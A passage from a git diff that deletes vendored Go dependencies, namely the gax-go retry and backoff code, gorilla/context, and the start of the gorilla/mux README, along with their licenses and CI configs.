Retryer that retries if and only if -// the previous attempt returns a GRPC error whose error code is stored in cc. -// Pause times between retries are specified by bo. -// -// bo is only used for its parameters; each Retryer has its own copy. -func OnCodes(cc []codes.Code, bo Backoff) Retryer { - return &boRetryer{ - backoff: bo, - codes: append([]codes.Code(nil), cc...), - } -} - -type boRetryer struct { - backoff Backoff - codes []codes.Code -} - -func (r *boRetryer) Retry(err error) (time.Duration, bool) { - st, ok := status.FromError(err) - if !ok { - return 0, false - } - c := st.Code() - for _, rc := range r.codes { - if c == rc { - return r.backoff.Pause(), true - } - } - return 0, false -} - -// Backoff implements exponential backoff. -// The wait time between retries is a random value between 0 and the "retry envelope". -// The envelope starts at Initial and increases by the factor of Multiplier every retry, -// but is capped at Max. -type Backoff struct { - // Initial is the initial value of the retry envelope, defaults to 1 second. - Initial time.Duration - - // Max is the maximum value of the retry envelope, defaults to 30 seconds. - Max time.Duration - - // Multiplier is the factor by which the retry envelope increases. - // It should be greater than 1 and defaults to 2. - Multiplier float64 - - // cur is the current retry envelope - cur time.Duration -} - -// Pause returns the next time.Duration that the caller should use to backoff. -func (bo *Backoff) Pause() time.Duration { - if bo.Initial == 0 { - bo.Initial = time.Second - } - if bo.cur == 0 { - bo.cur = bo.Initial - } - if bo.Max == 0 { - bo.Max = 30 * time.Second - } - if bo.Multiplier < 1 { - bo.Multiplier = 2 - } - // Select a duration between 1ns and the current max. It might seem - // counterintuitive to have so much jitter, but - // https://www.awsarchitectureblog.com/2015/03/backoff.html argues that - // that is the best strategy. - d := time.Duration(1 + rand.Int63n(int64(bo.cur))) - bo.cur = time.Duration(float64(bo.cur) * bo.Multiplier) - if bo.cur > bo.Max { - bo.cur = bo.Max - } - return d -} - -type grpcOpt []grpc.CallOption - -func (o grpcOpt) Resolve(s *CallSettings) { - s.GRPC = o -} - -// WithGRPCOptions allows passing gRPC call options during client creation. -func WithGRPCOptions(opt ...grpc.CallOption) CallOption { - return grpcOpt(append([]grpc.CallOption(nil), opt...)) -} - -// CallSettings allow fine-grained control over how calls are made. -type CallSettings struct { - // Retry returns a Retryer to be used to control retry logic of a method call. - // If Retry is nil or the returned Retryer is nil, the call will not be retried. - Retry func() Retryer - - // CallOptions to be forwarded to GRPC. - GRPC []grpc.CallOption -} diff --git a/vendor/github.com/googleapis/gax-go/v2/gax.go b/vendor/github.com/googleapis/gax-go/v2/gax.go deleted file mode 100644 index 3fd1b0b84b..0000000000 --- a/vendor/github.com/googleapis/gax-go/v2/gax.go +++ /dev/null @@ -1,39 +0,0 @@ -// Copyright 2016, Google Inc. -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// * Neither the name of Google Inc. nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -// Package gax contains a set of modules which aid the development of APIs -// for clients and servers based on gRPC and Google API conventions. -// -// Application code will rarely need to use this library directly. -// However, code generated automatically from API definition files can use it -// to simplify code generation and to provide more convenient and idiomatic API surfaces. -package gax - -// Version specifies the gax-go version being used. -const Version = "2.0.4" diff --git a/vendor/github.com/googleapis/gax-go/v2/go.mod b/vendor/github.com/googleapis/gax-go/v2/go.mod deleted file mode 100644 index 9cdfaf4475..0000000000 --- a/vendor/github.com/googleapis/gax-go/v2/go.mod +++ /dev/null @@ -1,3 +0,0 @@ -module github.com/googleapis/gax-go/v2 - -require google.golang.org/grpc v1.19.0 diff --git a/vendor/github.com/googleapis/gax-go/v2/go.sum b/vendor/github.com/googleapis/gax-go/v2/go.sum deleted file mode 100644 index 7fa23ecf95..0000000000 --- a/vendor/github.com/googleapis/gax-go/v2/go.sum +++ /dev/null @@ -1,25 +0,0 @@ -cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= -github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= -github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= -github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b h1:VKtxabqXZkF25pY9ekfRL6a582T4P37/31XEstQ5p58= -github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= -github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= -github.com/golang/protobuf v1.2.0 h1:P3YflyNX/ehuJFLhxviNdFxQPkGK5cDcApsge1SqnvM= -github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= -golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= -golang.org/x/net v0.0.0-20180826012351-8a410e7b638d h1:g9qWBGx4puODJTMVyoPrpoxPFgVGd+z1DZwjfRu4d0I= -golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= -golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= -golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f h1:wMNYb4v58l5UBM7MYRLPG6ZhfOqbKu7X5eyFl8ZhKvA= -golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sys v0.0.0-20180830151530-49385e6e1522 h1:Ve1ORMCxvRmSXBwJK+t3Oy+V2vRW2OetUQBq4rJIkZE= -golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/text v0.3.0 h1:g61tztE5qeGQ89tm6NTjjM9VPIm088od1l6aSorWRWg= -golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= -golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= -google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= -google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8 h1:Nw54tB0rB7hY/N0NQvRW8DG4Yk3Q6T9cu9RcFQDu1tc= -google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= -google.golang.org/grpc v1.19.0 h1:cfg4PD8YEdSFnm7qLV4++93WcmhH2nIUhMjhdCvl3j8= -google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= -honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= diff --git a/vendor/github.com/googleapis/gax-go/v2/header.go b/vendor/github.com/googleapis/gax-go/v2/header.go deleted file mode 100644 index 139371a0bf..0000000000 --- a/vendor/github.com/googleapis/gax-go/v2/header.go +++ /dev/null @@ -1,53 +0,0 @@ -// Copyright 2018, Google Inc. -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// * Neither the name of Google Inc. nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -package gax - -import "bytes" - -// XGoogHeader is for use by the Google Cloud Libraries only. -// -// XGoogHeader formats key-value pairs. -// The resulting string is suitable for x-goog-api-client header. -func XGoogHeader(keyval ...string) string { - if len(keyval) == 0 { - return "" - } - if len(keyval)%2 != 0 { - panic("gax.Header: odd argument count") - } - var buf bytes.Buffer - for i := 0; i < len(keyval); i += 2 { - buf.WriteByte(' ') - buf.WriteString(keyval[i]) - buf.WriteByte('/') - buf.WriteString(keyval[i+1]) - } - return buf.String()[1:] -} diff --git a/vendor/github.com/googleapis/gax-go/v2/invoke.go b/vendor/github.com/googleapis/gax-go/v2/invoke.go deleted file mode 100644 index fe31dd004e..0000000000 --- a/vendor/github.com/googleapis/gax-go/v2/invoke.go +++ /dev/null @@ -1,99 +0,0 @@ -// Copyright 2016, Google Inc. -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// * Neither the name of Google Inc. nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -package gax - -import ( - "context" - "strings" - "time" -) - -// APICall is a user defined call stub. -type APICall func(context.Context, CallSettings) error - -// Invoke calls the given APICall, -// performing retries as specified by opts, if any. -func Invoke(ctx context.Context, call APICall, opts ...CallOption) error { - var settings CallSettings - for _, opt := range opts { - opt.Resolve(&settings) - } - return invoke(ctx, call, settings, Sleep) -} - -// Sleep is similar to time.Sleep, but it can be interrupted by ctx.Done() closing. -// If interrupted, Sleep returns ctx.Err(). -func Sleep(ctx context.Context, d time.Duration) error { - t := time.NewTimer(d) - select { - case <-ctx.Done(): - t.Stop() - return ctx.Err() - case <-t.C: - return nil - } -} - -type sleeper func(ctx context.Context, d time.Duration) error - -// invoke implements Invoke, taking an additional sleeper argument for testing. -func invoke(ctx context.Context, call APICall, settings CallSettings, sp sleeper) error { - var retryer Retryer - for { - err := call(ctx, settings) - if err == nil { - return nil - } - if settings.Retry == nil { - return err - } - // Never retry permanent certificate errors. (e.x. if ca-certificates - // are not installed). We should only make very few, targeted - // exceptions: many (other) status=Unavailable should be retried, such - // as if there's a network hiccup, or the internet goes out for a - // minute. This is also why here we are doing string parsing instead of - // simply making Unavailable a non-retried code elsewhere. - if strings.Contains(err.Error(), "x509: certificate signed by unknown authority") { - return err - } - if retryer == nil { - if r := settings.Retry(); r != nil { - retryer = r - } else { - return err - } - } - if d, ok := retryer.Retry(err); !ok { - return err - } else if err = sp(ctx, d); err != nil { - return err - } - } -} diff --git a/vendor/github.com/gorilla/context/.travis.yml b/vendor/github.com/gorilla/context/.travis.yml deleted file mode 100644 index faca4dad3d..0000000000 --- a/vendor/github.com/gorilla/context/.travis.yml +++ /dev/null @@ -1,19 +0,0 @@ -language: go -sudo: false - -matrix: - include: - - go: 1.3 - - go: 1.4 - - go: 1.5 - - go: 1.6 - - go: tip - -install: - - go get golang.org/x/tools/cmd/vet - -script: - - go get -t -v ./... - - diff -u <(echo -n) <(gofmt -d .) - - go tool vet . - - go test -v -race ./... diff --git a/vendor/github.com/gorilla/context/LICENSE b/vendor/github.com/gorilla/context/LICENSE deleted file mode 100644 index 0e5fb87280..0000000000 --- a/vendor/github.com/gorilla/context/LICENSE +++ /dev/null @@ -1,27 +0,0 @@ -Copyright (c) 2012 Rodrigo Moraes. All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are -met: - - * Redistributions of source code must retain the above copyright -notice, this list of conditions and the following disclaimer. - * Redistributions in binary form must reproduce the above -copyright notice, this list of conditions and the following disclaimer -in the documentation and/or other materials provided with the -distribution. - * Neither the name of Google Inc. nor the names of its -contributors may be used to endorse or promote products derived from -this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/vendor/github.com/gorilla/context/README.md b/vendor/github.com/gorilla/context/README.md deleted file mode 100644 index c60a31b053..0000000000 --- a/vendor/github.com/gorilla/context/README.md +++ /dev/null @@ -1,7 +0,0 @@ -context -======= -[![Build Status](https://travis-ci.org/gorilla/context.png?branch=master)](https://travis-ci.org/gorilla/context) - -gorilla/context is a general purpose registry for global request variables. - -Read the full documentation here: http://www.gorillatoolkit.org/pkg/context diff --git a/vendor/github.com/gorilla/context/context.go b/vendor/github.com/gorilla/context/context.go deleted file mode 100644 index 81cb128b19..0000000000 --- a/vendor/github.com/gorilla/context/context.go +++ /dev/null @@ -1,143 +0,0 @@ -// Copyright 2012 The Gorilla Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package context - -import ( - "net/http" - "sync" - "time" -) - -var ( - mutex sync.RWMutex - data = make(map[*http.Request]map[interface{}]interface{}) - datat = make(map[*http.Request]int64) -) - -// Set stores a value for a given key in a given request. -func Set(r *http.Request, key, val interface{}) { - mutex.Lock() - if data[r] == nil { - data[r] = make(map[interface{}]interface{}) - datat[r] = time.Now().Unix() - } - data[r][key] = val - mutex.Unlock() -} - -// Get returns a value stored for a given key in a given request. -func Get(r *http.Request, key interface{}) interface{} { - mutex.RLock() - if ctx := data[r]; ctx != nil { - value := ctx[key] - mutex.RUnlock() - return value - } - mutex.RUnlock() - return nil -} - -// GetOk returns stored value and presence state like multi-value return of map access. -func GetOk(r *http.Request, key interface{}) (interface{}, bool) { - mutex.RLock() - if _, ok := data[r]; ok { - value, ok := data[r][key] - mutex.RUnlock() - return value, ok - } - mutex.RUnlock() - return nil, false -} - -// GetAll returns all stored values for the request as a map. Nil is returned for invalid requests. -func GetAll(r *http.Request) map[interface{}]interface{} { - mutex.RLock() - if context, ok := data[r]; ok { - result := make(map[interface{}]interface{}, len(context)) - for k, v := range context { - result[k] = v - } - mutex.RUnlock() - return result - } - mutex.RUnlock() - return nil -} - -// GetAllOk returns all stored values for the request as a map and a boolean value that indicates if -// the request was registered. -func GetAllOk(r *http.Request) (map[interface{}]interface{}, bool) { - mutex.RLock() - context, ok := data[r] - result := make(map[interface{}]interface{}, len(context)) - for k, v := range context { - result[k] = v - } - mutex.RUnlock() - return result, ok -} - -// Delete removes a value stored for a given key in a given request. -func Delete(r *http.Request, key interface{}) { - mutex.Lock() - if data[r] != nil { - delete(data[r], key) - } - mutex.Unlock() -} - -// Clear removes all values stored for a given request. -// -// This is usually called by a handler wrapper to clean up request -// variables at the end of a request lifetime. See ClearHandler(). -func Clear(r *http.Request) { - mutex.Lock() - clear(r) - mutex.Unlock() -} - -// clear is Clear without the lock. -func clear(r *http.Request) { - delete(data, r) - delete(datat, r) -} - -// Purge removes request data stored for longer than maxAge, in seconds. -// It returns the amount of requests removed. -// -// If maxAge <= 0, all request data is removed. -// -// This is only used for sanity check: in case context cleaning was not -// properly set some request data can be kept forever, consuming an increasing -// amount of memory. In case this is detected, Purge() must be called -// periodically until the problem is fixed. -func Purge(maxAge int) int { - mutex.Lock() - count := 0 - if maxAge <= 0 { - count = len(data) - data = make(map[*http.Request]map[interface{}]interface{}) - datat = make(map[*http.Request]int64) - } else { - min := time.Now().Unix() - int64(maxAge) - for r := range data { - if datat[r] < min { - clear(r) - count++ - } - } - } - mutex.Unlock() - return count -} - -// ClearHandler wraps an http.Handler and clears request values at the end -// of a request lifetime. -func ClearHandler(h http.Handler) http.Handler { - return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { - defer Clear(r) - h.ServeHTTP(w, r) - }) -} diff --git a/vendor/github.com/gorilla/context/doc.go b/vendor/github.com/gorilla/context/doc.go deleted file mode 100644 index 73c7400311..0000000000 --- a/vendor/github.com/gorilla/context/doc.go +++ /dev/null @@ -1,82 +0,0 @@ -// Copyright 2012 The Gorilla Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -/* -Package context stores values shared during a request lifetime. - -For example, a router can set variables extracted from the URL and later -application handlers can access those values, or it can be used to store -sessions values to be saved at the end of a request. There are several -others common uses. - -The idea was posted by Brad Fitzpatrick to the go-nuts mailing list: - - http://groups.google.com/group/golang-nuts/msg/e2d679d303aa5d53 - -Here's the basic usage: first define the keys that you will need. The key -type is interface{} so a key can be of any type that supports equality. -Here we define a key using a custom int type to avoid name collisions: - - package foo - - import ( - "github.com/gorilla/context" - ) - - type key int - - const MyKey key = 0 - -Then set a variable. Variables are bound to an http.Request object, so you -need a request instance to set a value: - - context.Set(r, MyKey, "bar") - -The application can later access the variable using the same key you provided: - - func MyHandler(w http.ResponseWriter, r *http.Request) { - // val is "bar". - val := context.Get(r, foo.MyKey) - - // returns ("bar", true) - val, ok := context.GetOk(r, foo.MyKey) - // ... - } - -And that's all about the basic usage. We discuss some other ideas below. - -Any type can be stored in the context. To enforce a given type, make the key -private and wrap Get() and Set() to accept and return values of a specific -type: - - type key int - - const mykey key = 0 - - // GetMyKey returns a value for this package from the request values. - func GetMyKey(r *http.Request) SomeType { - if rv := context.Get(r, mykey); rv != nil { - return rv.(SomeType) - } - return nil - } - - // SetMyKey sets a value for this package in the request values. - func SetMyKey(r *http.Request, val SomeType) { - context.Set(r, mykey, val) - } - -Variables must be cleared at the end of a request, to remove all values -that were stored. This can be done in an http.Handler, after a request was -served. Just call Clear() passing the request: - - context.Clear(r) - -...or use ClearHandler(), which conveniently wraps an http.Handler to clear -variables at the end of a request lifetime. - -The Routers from the packages gorilla/mux and gorilla/pat call Clear() -so if you are using either of them you don't need to clear the context manually. -*/ -package context diff --git a/vendor/github.com/gorilla/mux/.travis.yml b/vendor/github.com/gorilla/mux/.travis.yml deleted file mode 100644 index ad0935dbd3..0000000000 --- a/vendor/github.com/gorilla/mux/.travis.yml +++ /dev/null @@ -1,23 +0,0 @@ -language: go -sudo: false - -matrix: - include: - - go: 1.5.x - - go: 1.6.x - - go: 1.7.x - - go: 1.8.x - - go: 1.9.x - - go: 1.10.x - - go: tip - allow_failures: - - go: tip - -install: - - # Skip - -script: - - go get -t -v ./... - - diff -u <(echo -n) <(gofmt -d .) - - go tool vet . - - go test -v -race ./... diff --git a/vendor/github.com/gorilla/mux/ISSUE_TEMPLATE.md b/vendor/github.com/gorilla/mux/ISSUE_TEMPLATE.md deleted file mode 100644 index 232be82e47..0000000000 --- a/vendor/github.com/gorilla/mux/ISSUE_TEMPLATE.md +++ /dev/null @@ -1,11 +0,0 @@ -**What version of Go are you running?** (Paste the output of `go version`) - - -**What version of gorilla/mux are you at?** (Paste the output of `git rev-parse HEAD` inside `$GOPATH/src/github.com/gorilla/mux`) - - -**Describe your problem** (and what you have tried so far) - - -**Paste a minimal, runnable, reproduction of your issue below** (use backticks to format it) - diff --git a/vendor/github.com/gorilla/mux/LICENSE b/vendor/github.com/gorilla/mux/LICENSE deleted file mode 100644 index 0e5fb87280..0000000000 --- a/vendor/github.com/gorilla/mux/LICENSE +++ /dev/null @@ -1,27 +0,0 @@ -Copyright (c) 2012 Rodrigo Moraes. All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are -met: - - * Redistributions of source code must retain the above copyright -notice, this list of conditions and the following disclaimer. - * Redistributions in binary form must reproduce the above -copyright notice, this list of conditions and the following disclaimer -in the documentation and/or other materials provided with the -distribution. - * Neither the name of Google Inc. nor the names of its -contributors may be used to endorse or promote products derived from -this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/vendor/github.com/gorilla/mux/README.md b/vendor/github.com/gorilla/mux/README.md deleted file mode 100644 index e424397ac4..0000000000 --- a/vendor/github.com/gorilla/mux/README.md +++ /dev/null @@ -1,649 +0,0 @@ -# gorilla/mux - -[![GoDoc](https://godoc.org/github.com/gorilla/mux?status.svg)](https://godoc.org/github.com/gorilla/mux) -[![Build Status](https://travis-ci.org/gorilla/mux.svg?branch=master)](https://travis-ci.org/gorilla/mux) -[![Sourcegraph](https://sourcegraph.com/github.com/gorilla/mux/-/badge.svg)](https://sourcegraph.com/github.com/gorilla/mux?badge) - -![Gorilla Logo](http://www.gorillatoolkit.org/static/images/gorilla-icon-64.png) - -http://www.gorillatoolkit.org/pkg/mux - -Package `gorilla/mux` implements a request router and dispatcher for matching incoming requests to -their respective handler. - -The name mux stands for "HTTP request multiplexer". Like the standard `http.ServeMux`, `mux.Router` matches incoming requests against a list of registered routes and calls a handler for the route that matches the URL or other conditions. The main features are: - -* It implements the `http.Handler` interface so it is compatible with the standard `http.ServeMux`. -* Requests can be matched based on URL host, path, path prefix, schemes, header and query values, HTTP methods or using custom matchers. -* URL hosts, paths and query values can have variables with an optional regular expression. -* Registered URLs can be built, or "reversed", which helps maintaining references to resources. -* Routes can be used as subrouters: nested routes are only tested if the parent route matches. This is useful to define groups of routes that share common conditions like a host, a path prefix or other repeated attributes. As a bonus, this optimizes request matching. - ---- - -* [Install](#install) -* [Examples](#examples) -* [Matching Routes](#matching-routes) -* [Static Files](#static-files) -* [Registered URLs](#registered-urls) -* [Walking Routes](#walking-routes) -* [Graceful Shutdown](#graceful-shutdown) -* [Middleware](#middleware) -* [Testing Handlers](#testing-handlers) -* [Full Example](#full-example) - ---- - -## Install - -With a [correctly configured](https://golang.org/doc/install#testing) Go toolchain: - -```sh -go get -u github.com/gorilla/mux -``` - -## Examples - -Let's start registering a couple of URL paths and handlers: - -```go -func main() { - r := mux.NewRouter() - r.HandleFunc("/", HomeHandler) - r.HandleFunc("/products", ProductsHandler) - r.HandleFunc("/articles", ArticlesHandler) - http.Handle("/", r) -} -``` - -Here we register three routes mapping URL paths to handlers. This is equivalent to how `http.HandleFunc()` works: if an incoming request URL matches one of the paths, the corresponding handler is called passing (`http.ResponseWriter`, `*http.Request`) as parameters. - -Paths can have variables. They are defined using the format `{name}` or `{name:pattern}`. If a regular expression pattern is not defined, the matched variable will be anything until the next slash. For example: - -```go -r := mux.NewRouter() -r.HandleFunc("/products/{key}", ProductHandler) -r.HandleFunc("/articles/{category}/", ArticlesCategoryHandler) -r.HandleFunc("/articles/{category}/{id:[0-9]+}", ArticleHandler) -``` - -The names are used to create a map of route variables which can be retrieved calling `mux.Vars()`: - -```go -func ArticlesCategoryHandler(w http.ResponseWriter, r *http.Request) { - vars := mux.Vars(r) - w.WriteHeader(http.StatusOK) - fmt.Fprintf(w, "Category: %v\n", vars["category"]) -} -``` - -And this is all you need to know about the basic usage. More advanced options are explained below. - -### Matching Routes - -Routes can also be restricted to a domain or subdomain. Just define a host pattern to be matched. They can also have variables: - -```go -r := mux.NewRouter() -// Only matches if domain is "www.example.com". -r.Host("www.example.com") -// Matches a dynamic subdomain. -r.Host("{subdomain:[a-z]+}.domain.com") -``` - -There are several other matchers that can be added. To match path prefixes: - -```go -r.PathPrefix("/products/") -``` - -...or HTTP methods: - -```go -r.Methods("GET", "POST") -``` - -...or URL schemes: - -```go -r.Schemes("https") -``` - -...or header values: - -```go -r.Headers("X-Requested-With", "XMLHttpRequest") -``` - -...or query values: - -```go -r.Queries("key", "value") -``` - -...or to use a custom matcher function: - -```go -r.MatcherFunc(func(r *http.Request, rm *RouteMatch) bool { - return r.ProtoMajor == 0 -}) -``` - -...and finally, it is possible to combine several matchers in a single route: - -```go -r.HandleFunc("/products", ProductsHandler). - Host("www.example.com"). - Methods("GET"). - Schemes("http") -``` - -Routes are tested in the order they were added to the router. If two routes match, the first one wins: - -```go -r := mux.NewRouter() -r.HandleFunc("/specific", specificHandler) -r.PathPrefix("/").Handler(catchAllHandler) -``` - -Setting the same matching conditions again and again can be boring, so we have a way to group several routes that share the same requirements. We call it "subrouting". - -For example, let's say we have several URLs that should only match when the host is `www.example.com`. Create a route for that host and get a "subrouter" from it: - -```go -r := mux.NewRouter() -s := r.Host("www.example.com").Subrouter() -``` - -Then register routes in the subrouter: - -```go -s.HandleFunc("/products/", ProductsHandler) -s.HandleFunc("/products/{key}", ProductHandler) -s.HandleFunc("/articles/{category}/{id:[0-9]+}", ArticleHandler) -``` - -The three URL paths we registered above will only be tested if the domain is `www.example.com`, because the subrouter is tested first. This is not only convenient, but also optimizes request matching. You can create subrouters combining any attribute matchers accepted by a route. - -Subrouters can be used to create domain or path "namespaces": you define subrouters in a central place and then parts of the app can register its paths relatively to a given subrouter. - -There's one more thing about subroutes. When a 